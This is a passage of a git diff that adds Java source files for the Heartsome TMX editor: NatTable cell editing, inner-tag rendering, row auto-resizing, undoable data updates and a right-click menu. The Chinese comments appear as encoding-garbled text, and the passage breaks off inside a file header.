b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/PresentationRepairer.java @@ -0,0 +1,138 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.text.BadLocationException; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.ITypedRegion; +import org.eclipse.jface.text.TextPresentation; +import org.eclipse.jface.text.presentation.IPresentationRepairer; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.ITokenScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.TextStyle; + +public class PresentationRepairer implements IPresentationRepairer { + + /** The document this object works on */ + protected IDocument fDocument; + /** The scanner it uses */ + protected ITokenScanner fScanner; + /** The default text style if non is returned as data by the current token */ + protected TextStyle fDefaultTextStyle; + + protected CellEditorTextViewer viewer; + + public PresentationRepairer(ITokenScanner scanner, CellEditorTextViewer viewer) { + Assert.isNotNull(scanner); + + this.viewer = viewer; + fScanner = scanner; + fDefaultTextStyle = new TextStyle(); + } + + public void setDocument(IDocument document) { + this.fDocument = document; + } + + public void createPresentation(TextPresentation presentation, ITypedRegion region) { + if (fScanner == null) { + // will be removed if deprecated constructor will be removed + addRange(presentation, region.getOffset(), region.getLength(), fDefaultTextStyle); + return; + } + + int lastStart = region.getOffset(); + int length = 0; + boolean firstToken = true; + IToken lastToken = Token.UNDEFINED; + TextStyle lastTextStyle = getTokenTextStyle(lastToken); + + fScanner.setRange(fDocument, lastStart, region.getLength()); + + while (true) { + IToken token = fScanner.nextToken(); + if (token.isEOF()) + break; + + TextStyle textStyle = getTokenTextStyle(token); + if (lastTextStyle != null && lastTextStyle.equals(textStyle)) { + length += fScanner.getTokenLength(); + firstToken = false; + } else { + if (!firstToken) + addRange(presentation, lastStart, length, lastTextStyle); + firstToken = false; + lastToken = token; + lastTextStyle = textStyle; + lastStart = fScanner.getTokenOffset(); + length = fScanner.getTokenLength(); + } + } + + addRange(presentation, lastStart, length, lastTextStyle); + } + + /** + * Returns a text style encoded in the given token. If the token's data is not null and a text style it + * is assumed that it is the encoded text style. It returns the default text style if there is no encoded text style + * found. + * @param token + * the token whose text style is to be determined + * @return the token's text style + */ + protected TextStyle getTokenTextStyle(IToken token) { + Object data = token.getData(); + if (data instanceof TextStyle) + return (TextStyle) data; + return fDefaultTextStyle; + } + + /** + * Adds style information to the given text presentation. + * @param presentation + * the text presentation to be extended + * @param offset + * the offset of the range to be styled + * @param length + * the length of the range to be styled + * @param textStyle + * the style of the range to be styled + */ + protected void addRange(TextPresentation presentation, int offset, int length, TextStyle textStyle) { + if (textStyle != null) { + + if (textStyle.metrics != null && length >= 1) { + for (int i = offset; i < offset + length; i++) { + try { + StyleRange styleRange = new StyleRange(textStyle); + String placeHolder = fDocument.get(i, 1); + InnerTag innerTag = TmxInnerTagUtils.getInnerTagControl(viewer.innerTagCacheList, placeHolder); + if (innerTag != null) { + Point rect = innerTag.computeSize(SWT.DEFAULT, SWT.DEFAULT); + // int ascent = 4 * rect.height / 5 + SEGMENT_LINE_SPACING / 2; + // int descent = rect.height - ascent + SEGMENT_LINE_SPACING; + styleRange.metrics = new GlyphMetrics(rect.y, 0, rect.x + TmxEditorConstanst.SEGMENT_LINE_SPACING * 2); + } + styleRange.start = i; + styleRange.length = 1; + presentation.addStyleRange(styleRange); + } catch (BadLocationException e) { + e.printStackTrace(); + } + } + } else { + StyleRange styleRange = new StyleRange(textStyle); + styleRange.start = offset; + styleRange.length = length; + presentation.addStyleRange(styleRange); + } + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TagStyleConfigurator.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TagStyleConfigurator.java new file mode 100644 index 0000000..4bd0dab --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TagStyleConfigurator.java @@ -0,0 +1,69 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.presentation.IPresentationReconciler; +import org.eclipse.jface.text.presentation.PresentationReconciler; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.ITokenScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; + +public class TagStyleConfigurator { + + public static void configure(TextLayout textLayout) { + String text = textLayout.getText(); + Document doc = new Document(text); + ITokenScanner scanner = getRecipeScanner(doc); + scanner.setRange(doc, 0, doc.getLength()); + IToken token; + while ((token = scanner.nextToken()) != Token.EOF) { + int offset = scanner.getTokenOffset(); + int length = scanner.getTokenLength(); + Object data = token.getData(); + if (data != null && data instanceof TextStyle) { + TextStyle textStyle = (TextStyle) data; + textLayout.setStyle(textStyle, offset, offset + length - 1); + } + } + } + + public static void configure(CellEditorTextViewer viewer) { + getPresentationReconciler(viewer); + } + + private static IPresentationReconciler getPresentationReconciler(CellEditorTextViewer viewer) { + // 构造函数中,已ç»é»˜è®¤è®¾ç½® IDocumentExtension3.DEFAULT_PARTITIONING + PresentationReconciler reconciler = new PresentationReconciler(); + PresentationRepairer repairer = new PresentationRepairer(getRecipeScanner(viewer.getDocument()), viewer); + reconciler.setRepairer(repairer, IDocument.DEFAULT_CONTENT_TYPE); + + reconciler.install(viewer); + return reconciler; + } + + private static ITokenScanner getRecipeScanner(final IDocument doc) { +// IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + InnerTagScanner scanner = new InnerTagScanner(); +// store.addPropertyChangeListener(new IPropertyChangeListener() { +// +// public void propertyChange(PropertyChangeEvent event) { +// String property = event.getProperty(); +// if (IPreferenceConstants.TAG_FOREGROUND.equals(property) +// || IPreferenceConstants.TAG_BACKGROUND.equals(property)) { +// scanner.updateToken(IPreferenceConstants.TAG_FOREGROUND, IPreferenceConstants.TAG_BACKGROUND); +// +// if (doc != null) { // 刷新 +// try { +// doc.replace(doc.getLength(), 0, ""); +// } catch (BadLocationException e) { +// e.printStackTrace(); +// } +// } +// } +// } +// }); + return scanner; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TeActiveCellEditor.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TeActiveCellEditor.java new file mode 100644 index 0000000..d7370c7 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TeActiveCellEditor.java @@ -0,0 +1,152 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.HorizontalViewportLayer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +public class TeActiveCellEditor { + + private static ICellEditor cellEditor; + private static ICellEditHandler editHandler; + private static IDataValidator dataValidator; + private static Control activeCellEditorControl; + private static int columnPosition = -1; + private static int rowPosition = -1; + private static int columnIndex = -1; + private static int rowIndex = -1; + + public static void activate(ICellEditor cellEditor, Composite parent, Object originalCanonicalValue, Character initialEditValue, IDisplayConverter displayConverter, IStyle cellStyle, IDataValidator dataValidator, ICellEditHandler editHandler, int columnPosition, int rowPosition, int columnIndex, int rowIndex) { + close(); + + TeActiveCellEditor.cellEditor = cellEditor; + TeActiveCellEditor.editHandler = editHandler; + TeActiveCellEditor.dataValidator = dataValidator; + TeActiveCellEditor.columnPosition = columnPosition; + TeActiveCellEditor.rowPosition = rowPosition; + TeActiveCellEditor.columnIndex = columnIndex; + TeActiveCellEditor.rowIndex = rowIndex; + + activeCellEditorControl = cellEditor.activateCell(parent, originalCanonicalValue, initialEditValue, displayConverter, cellStyle, dataValidator, editHandler, columnIndex, rowIndex); + } + + public static void commit() { + if (isValid() && validateCanonicalValue()) { + editHandler.commit(MoveDirectionEnum.NONE, true); + } + close(); + } + + public static void commitWithoutClose(){ + if (isValid() && validateCanonicalValue()) { + editHandler.commit(MoveDirectionEnum.NONE, false); + } + } + + public static void close() { + if (cellEditor != null && !cellEditor.isClosed()) { + cellEditor.close(); + } + cellEditor = null; + + editHandler = null; + + dataValidator = null; + + if (activeCellEditorControl != null && !activeCellEditorControl.isDisposed()) { + activeCellEditorControl.dispose(); + } + activeCellEditorControl = null; + + columnPosition = -1; + rowPosition = -1; + columnIndex = -1; + rowIndex = -1; + } + + public static ICellEditor getCellEditor() { + return cellEditor; + } + + public static Control getControl() { + if (isValid()) { + return activeCellEditorControl; + } else { + return null; + } + } + + public static int getColumnPosition() { + return columnPosition; + } + + public static int getRowPosition() { + return rowPosition; + } + + public static int getColumnIndex() { + return columnIndex; + } + + public static int getRowIndex() { + return rowIndex; + } + + public static Object getCanonicalValue() { + if (isValid()) { + return cellEditor.getCanonicalValue(); + } else { + return null; + } + } + + public static boolean validateCanonicalValue() { + if (dataValidator != null) { + return dataValidator.validate(columnIndex, rowIndex, getCanonicalValue()); + } else { + return true; + } + } + + public static boolean isValid() { + return cellEditor != null && !cellEditor.isClosed(); + } + + public static void recalculateCellsBounds(){ + if(TeActiveCellEditor.isValid()){ + if(activeCellEditorControl == null){ + return; + } + NatTable table = (NatTable) activeCellEditorControl.getParent(); + HorizontalViewportLayer vLayer = LayerUtil.getLayer(table, HorizontalViewportLayer.class); + int rowPosition = vLayer.getRowPositionByIndex(TeActiveCellEditor.getRowIndex()); + int columnPosition = vLayer.getColumnPositionByIndex(TeActiveCellEditor.getColumnIndex()); + rowPosition += 1; + if (rowPosition < 1) { + return; + } + + LayerCell cell = table.getCellByPosition(columnPosition, rowPosition); + if (cell == null) { + return; + } + Rectangle cellBounds = cell.getBounds(); + if (cellBounds != null) { + Rectangle adjustedCellBounds = table.getLayerPainter().adjustCellBounds(cellBounds); + TeActiveCellEditor.getControl().setBounds(adjustedCellBounds); + TeActiveCellEditor.columnPosition = columnPosition; + TeActiveCellEditor.rowPosition = rowPosition; + } + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TmxInnerTagUtils.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TmxInnerTagUtils.java new file mode 100644 index 0000000..b1d3fae --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/TmxInnerTagUtils.java @@ -0,0 +1,71 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.ui.innertag.InnerTag; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; + +/** + * 内部标记工具类。å ä½ç¬¦ä½¿ç”¨ Unicode ç ï¼ŒèŒƒå›´ä¸º {@link #MIN} 到 {@link #MAX}。 + * @author weachy + * @version + * @since JDK1.5 + */ +public class TmxInnerTagUtils { + + /** + * æ ¹æ®å ä½ç¬¦å¾—到内部标记控件 + * @param innerTags + * å†…éƒ¨æ ‡è®°æŽ§ä»¶é›†åˆ + * @param placeHolder + * å ä½ç¬¦ + * @return 内部标记控件; + */ + public static InnerTag getInnerTagControl(List innerTags, String placeHolder) { + int index = TmxInnerTagParser.getInstance().getPlaceHolderBuilder().getIndex(null, placeHolder); + if (index > -1 && index < innerTags.size()) { + return innerTags.get(index); + } + return null; + } + + /** + * æ ¹æ®å†…部标记实体得到å ä½ç¬¦ + * @param innerTags + * å†…éƒ¨æ ‡è®°æŽ§ä»¶é›†åˆ + * @param innerTagBean + * 内部标记实体 + * @return å ä½ç¬¦; + */ + public static String getPlaceHolder(List innerTags, InnerTagBean innerTagBean) { + if (innerTagBean == null || innerTags == null || innerTags.size() == 0) { + return null; + } + for (int i = 0; i < innerTags.size(); i++) { + InnerTagBean bean = innerTags.get(i).getInnerTagBean(); + if (innerTagBean.equals(bean)) { + return TmxInnerTagParser.getInstance().getPlaceHolderBuilder().getPlaceHolder(null, i); + } + } + return null; + } + + /** + * 创建内部标记控件 + * @param parent + * 父容器 + * @param innerTagBean + * 内部标记实体 + * @return 内部标记控件; + */ + public static InnerTag createInnerTagControl(Composite parent, InnerTagBean innerTagBean, TagStyle tagStyle) { + final InnerTag innerTag = new InnerTag(parent, SWT.NONE, innerTagBean, tagStyle); + innerTag.pack(); + return innerTag; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/AutoResizeCurrentRowsCommand.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/AutoResizeCurrentRowsCommand.java new file mode 100644 index 0000000..4f9feed --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/AutoResizeCurrentRowsCommand.java @@ -0,0 +1,41 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.commond; + +import net.sourceforge.nattable.command.AbstractMultiRowCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; + +/** + * 自适应当å‰æ˜¾ç¤ºè¡Œçš„高度的Command + * @author weachy + * @version + * @since JDK1.5 + */ +public class AutoResizeCurrentRowsCommand extends AbstractMultiRowCommand { + + private final IConfigRegistry configRegistry; + private int[] rows; + + protected AutoResizeCurrentRowsCommand(AutoResizeCurrentRowsCommand command) { + super(command); + this.configRegistry = command.configRegistry; + } + + public AutoResizeCurrentRowsCommand(ILayer layer, int[] rowPositions, IConfigRegistry configRegistry) { + super(layer); + this.configRegistry = configRegistry; + this.rows = rowPositions; + } + + public ILayerCommand cloneCommand() { + return new AutoResizeCurrentRowsCommand(this); + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public int[] getRows() { + return rows; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/AutoResizeCurrentRowsCommandHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/AutoResizeCurrentRowsCommandHandler.java new file mode 100644 index 0000000..a4c285c --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/AutoResizeCurrentRowsCommandHandler.java @@ -0,0 +1,88 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.commond; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.resize.MaxCellBoundsHelper; +import net.sourceforge.nattable.resize.command.MultiRowResizeCommand; + +import org.eclipse.swt.graphics.GC; + +/** + * 自适应当å‰æ˜¾ç¤ºè¡Œçš„é«˜åº¦çš„å¤„ç† Handler + * @author weachy + * @version + * @since JDK1.5 + */ +public class AutoResizeCurrentRowsCommandHandler implements ILayerCommandHandler { + + private final CompositeLayer layer; + + public AutoResizeCurrentRowsCommandHandler(CompositeLayer compositeLayer) { + this.layer = compositeLayer; + } + + public boolean doCommand(ILayer targetLayer, AutoResizeCurrentRowsCommand command) { + // Need to resize selected rows even if they are outside the viewport + targetLayer.doCommand(new TurnViewportOffCommand()); + + int[] gridRowPositions = command.getRows(); + int[] gridRowHeights = getPreferedRowHeights(command.getConfigRegistry(), layer, + gridRowPositions); + + layer.doCommand(new MultiRowResizeCommand(layer, gridRowPositions, gridRowHeights)); + + targetLayer.doCommand(new TurnViewportOnCommand()); + + return true; + } + + public Class getCommandClass() { + return AutoResizeCurrentRowsCommand.class; + } + + /** + * @see MaxCellBoundsHelper#getPreferedColumnWidths(IConfiguration, GC, ILayer, int[]) + */ + private int[] getPreferedRowHeights(IConfigRegistry configRegistry, ILayer layer, int[] rows) { + int[] rowHeights = new int[rows.length]; + + // 获å–编辑区高度(编辑器中,去除corner的高度) + int clientAreaHeight = layer.getClientAreaProvider().getClientArea().height; + for (int i = 0; i < rows.length; i++) { + rowHeights[i] = getPreferredRowHeight(layer, rows[i], configRegistry, null, clientAreaHeight); + } + return rowHeights; + } + + private int getPreferredRowHeight(ILayer layer, int rowPosition, IConfigRegistry configRegistry, GC gc, + int clientAreaHeight) { + int maxHeight = 0; + ICellPainter painter; + LayerCell cell; + + for (int columnPosition = 0; columnPosition < layer.getColumnCount(); columnPosition++) { + cell = layer.getCellByPosition(columnPosition, rowPosition); + if (cell != null) { + painter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, cell.getDisplayMode(), + cell.getConfigLabels().getLabels()); + if (painter != null) { + int preferedHeight = painter.getPreferredHeight(cell, gc, configRegistry); + maxHeight = (preferedHeight > maxHeight) ? preferedHeight : maxHeight; + } + } + } + + if (maxHeight > clientAreaHeight) { + return clientAreaHeight; + } + return maxHeight; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/EditCellCommandHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/EditCellCommandHandler.java new file mode 100644 index 0000000..967ab8e --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/EditCellCommandHandler.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.commond; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditController; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.edit.command.EditCellCommand; + +public class EditCellCommandHandler extends AbstractLayerCommandHandler { + private TmxEditorImpWithNattable editor; + public EditCellCommandHandler(TmxEditorImpWithNattable editor) { + this.editor = editor; + } + + public Class getCommandClass() { + return EditCellCommand.class; + } + + @Override + public boolean doCommand(EditCellCommand command) { + return CellEditController.editCellInline(editor); + } + +} \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/UpdateDataCommand.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/UpdateDataCommand.java new file mode 100644 index 0000000..693f42e --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/UpdateDataCommand.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.commond; + +import net.sourceforge.nattable.command.AbstractPositionCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class UpdateDataCommand extends AbstractPositionCommand { + + private Object newValue; + + public UpdateDataCommand(ILayer layer, int columnPosition, int rowPosition, Object newValue) { + super(layer, columnPosition, rowPosition); + this.newValue = newValue; + } + + protected UpdateDataCommand(UpdateDataCommand command) { + super(command); + this.newValue = command.newValue; + } + + public Object getNewValue() { +// if (newValue instanceof String) { +// String value = (String)newValue; +// value = value.replaceAll("&", "&"); +// value = value.replaceAll("<", "<"); +// value = value.replaceAll(">", ">"); +// this.newValue = value; +// } + return newValue; + } + + public UpdateDataCommand cloneCommand() { + return new UpdateDataCommand(this); + } + + @Override + public boolean convertToTargetLayer(ILayer targetLayer) { + return true; + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/UpdateDataCommandHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/UpdateDataCommandHandler.java new file mode 100644 index 0000000..9a33059 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/commond/UpdateDataCommandHandler.java @@ -0,0 +1,56 @@ +/** + * UpdateDataCommandHandler.java + * + * Version information : + * + * Date:2013-6-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.commond; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable.BodyLayer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.undo.UpdateDataOperation; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.ui.PlatformUI; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class UpdateDataCommandHandler extends AbstractLayerCommandHandler { + + private final NatTable table; + private final BodyLayer bodyLayerStack; + + public UpdateDataCommandHandler(NatTable table, BodyLayer bodyLayerStack) { + this.table = table; + this.bodyLayerStack = bodyLayerStack; + } + + public Class getCommandClass() { + return UpdateDataCommand.class; + } + + @Override + protected boolean doCommand(UpdateDataCommand command) { + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + try { + UpdateDataOperation op = new UpdateDataOperation(table, bodyLayerStack, command); + op.addContext(PlatformUI.getWorkbench().getOperationSupport().getUndoContext()); + operationHistory.execute(op, null, null); + } catch (ExecutionException e) { + e.printStackTrace(); + } + return true; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/BodyMenuConfiguration.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/BodyMenuConfiguration.java new file mode 100644 index 0000000..c1c2a02 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/BodyMenuConfiguration.java @@ -0,0 +1,87 @@ +/** + * BodyMenuConfiguration.java + * + * Version information : + * + * Date:2013-9-6 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.configuration; + +import java.util.Collections; + +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.ui.menu.PopupMenuAction; + +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.menus.CommandContributionItem; +import org.eclipse.ui.menus.CommandContributionItemParameter; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class BodyMenuConfiguration extends AbstractUiBindingConfiguration { + + private Menu bodyMenu; + private NatTable table; + + public BodyMenuConfiguration(NatTable table) { + this.table = table; + createBodyMenu(); + } + + @Override + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerMouseDownBinding(new MouseEventMatcher(SWT.NONE, GridRegion.BODY, + MouseEventMatcher.RIGHT_BUTTON), new PopupMenuAction(bodyMenu)); + uiBindingRegistry.unregisterMouseDragMode(new MouseEventMatcher(SWT.NONE, GridRegion.BODY, + MouseEventMatcher.RIGHT_BUTTON)); + } + + private void createBodyMenu() { + MenuManager menuMgr = new MenuManager(); + bodyMenu = menuMgr.createContextMenu(table.getShell()); + menuMgr.add(new CommandContributionItem(new CommandContributionItemParameter(PlatformUI.getWorkbench(), null, + ActionFactory.CUT.getCommandId(), Collections.EMPTY_MAP, null, null, null, Messages + .getString("tmxedtior.bodyMenuConfiguration.cut"), null, null, + CommandContributionItem.STYLE_PUSH, null, false))); + menuMgr.add(new CommandContributionItem(new CommandContributionItemParameter(PlatformUI.getWorkbench(), null, + ActionFactory.COPY.getCommandId(), Collections.EMPTY_MAP, null, null, null, Messages + .getString("tmxedtior.bodyMenuConfiguration.copy"), null, null, + CommandContributionItem.STYLE_PUSH, null, false))); + menuMgr.add(new CommandContributionItem(new CommandContributionItemParameter(PlatformUI.getWorkbench(), null, + ActionFactory.PASTE.getCommandId(), Collections.EMPTY_MAP, null, null, null, Messages + .getString("tmxedtior.bodyMenuConfiguration.paste"), null, null, + CommandContributionItem.STYLE_PUSH, null, false))); + menuMgr.add(new Separator()); + + menuMgr.add(new CommandContributionItem(new CommandContributionItemParameter(PlatformUI.getWorkbench(), null, + "net.heartsome.cat.te.tmxeditor.command.addtu", Collections.EMPTY_MAP, null, null, null, null, null, + null, CommandContributionItem.STYLE_PUSH, null, false))); + menuMgr.add(new CommandContributionItem(new CommandContributionItemParameter(PlatformUI.getWorkbench(), null, + "net.heartsome.cat.te.tmxeditor.command.deletetu", Collections.EMPTY_MAP, null, null, null, null, null, + null, CommandContributionItem.STYLE_PUSH, null, false))); + + menuMgr.add(new Separator()); + menuMgr.add(new CommandContributionItem(new CommandContributionItemParameter(PlatformUI.getWorkbench(), null, + "net.heartsome.cat.te.ui.command.cleanSelectInnerTag", Collections.EMPTY_MAP, null, null, null, null, null, + null, CommandContributionItem.STYLE_PUSH, null, false))); + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/CompositeLayerConfiguration.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/CompositeLayerConfiguration.java new file mode 100644 index 0000000..a40b1be --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/CompositeLayerConfiguration.java @@ -0,0 +1,96 @@ +/** + * CompositeLayerConfiguration.java + * + * Version information : + * + * Date:2013-6-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 